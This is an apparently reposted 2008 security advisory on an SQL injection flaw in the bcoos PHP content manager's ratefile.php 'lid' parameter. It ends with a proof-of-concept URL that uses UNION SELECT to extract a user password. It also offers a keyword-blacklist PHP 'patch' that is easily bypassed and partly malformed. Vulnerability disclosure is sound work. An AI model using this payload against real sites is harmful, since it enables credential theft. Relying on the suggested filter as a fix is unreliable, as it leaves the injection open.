Home / exploits bcooslid-sql.txt
Posted on 08 February 2008
############################################ bcoos /mysections/ratefile.php lid variable SQL injection vendor url: http://www.bcoops.net Advisore: http://lostmon.blogspot.com/2008/02/ bcoos-mysectionsratefilephp-lid.html vendor notify:NO exploits available: YES ############################################ bcoos is content-community management system written in PHP-MySQL. bcoops contains a flaw that may allow an attacker to carry out an SQL injection attack. The issue is due to the script not properly sanitizing user-supplied input to the 'lid' variable, and adresses/ratefile.php script.This may allow an attacker to inject or manipulate SQL queries in the backend database. ################# Versions: ################# bcoops =< 1.0.11 vulnerable ################# Solution: ################# No solution at this time !!! Also you can try to edit the source code and put this code to mitigate 'union' injection: open modules/mysections/ratefile.php arround line 76 found this code: exit(); } else { you can change for: exit(); } if (eregi("%20union%20", $lid) ||eregi(" union ", $lid) || eregi("*union*", $lid) || eregi("+union+", $lid) || eregi("*", $lid)) { echo " This SQL injection is patched Now !!! "; redirect_header("index.php"); die(); } else { And now this union sql attack is patched :D ################# Timeline: ################# Discovered:31-01-2008 vendor notify:-------- vendor response:------- disclosure:07-02-2008 ################# SQL intection: ################# http://localhost/modules/mysections/ratefile.php?lid= -99%20UNION%20SELECT%20pass%20FROM%20bcoops_users%20LIMIT%201 #######################
